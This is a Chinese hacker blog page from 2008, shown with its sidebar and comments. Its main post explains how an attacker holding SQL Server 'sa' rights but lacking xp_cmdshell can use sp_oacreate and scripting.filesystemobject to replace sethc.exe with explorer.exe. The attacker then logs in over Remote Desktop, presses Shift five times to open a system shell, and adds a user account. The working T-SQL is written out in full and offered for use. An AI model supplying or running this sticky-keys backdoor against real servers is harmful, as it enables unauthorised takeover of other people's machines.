Jacks Space

关于我

喜歡簡單的人
喜歡睡覺。
懶惰'd傢伙。

文章

·test...
·MSSQL 2005...
·Discuz!NT ...
·load_file(...
·sa权限下无xp_c...
·我们暧昧，我们却不属...
·DB_ONER权限日...
·如果不删除sql危险...
·Oracle本地读写...
·[转]挑战BT-Sa...

·1test...
·TEST...
·NND......
·B人，我要这套博客源...
·兄弟,求救,我网站天...
·-_-...
·无聊ing...飘过...
·...
·- -飘过......
·楼下的脑袋嗑着了吧....

归档

·2006-05 (1)
·2006-09 (1)
·2007-04 (4)
·2007-05 (7)
·2007-06 (5)
·2007-07 (6)
·2007-12 (6)
·2008-01 (1)
·2008-06 (0)
·2008-08 (3)
·2008-09 (1)

链接

·雨哥
·我家小猪头
·NetKnave
·烟花贱客
·XMD5
·白细胞
·神棍恒
·深灰色
·h4x0r

信息

文章个数：89
评论个数：127
浏览次数：154012

标题：sa权限下无xp_cmdshell下取权限又一简单方法

Jacks 发表于 2008-1-11 4:34:16
技术文档评论 2 | 浏览 915 | 引用 65

有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
（很多服务器都把'wscript.shell'给删了。）
看到既然能用sp_oacreate，sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject
网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制，删除文件吧。。
上网找了些资料，得到下面方法：
复制文件：

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

成功后3389登陆按五次shift键。成功进入服务器。一直向上点"我的电脑"右键"管理" 用户管理直接加用户。
此法随无技术可言，希望对某些人有点用。

转载请著明来源于0x54.com

引用：

发表评论

现有评论

JeffSon 于 2008-3-6 19:22:31 说:

-_-

J4cks 于 2008-1-14 1:58:30 说: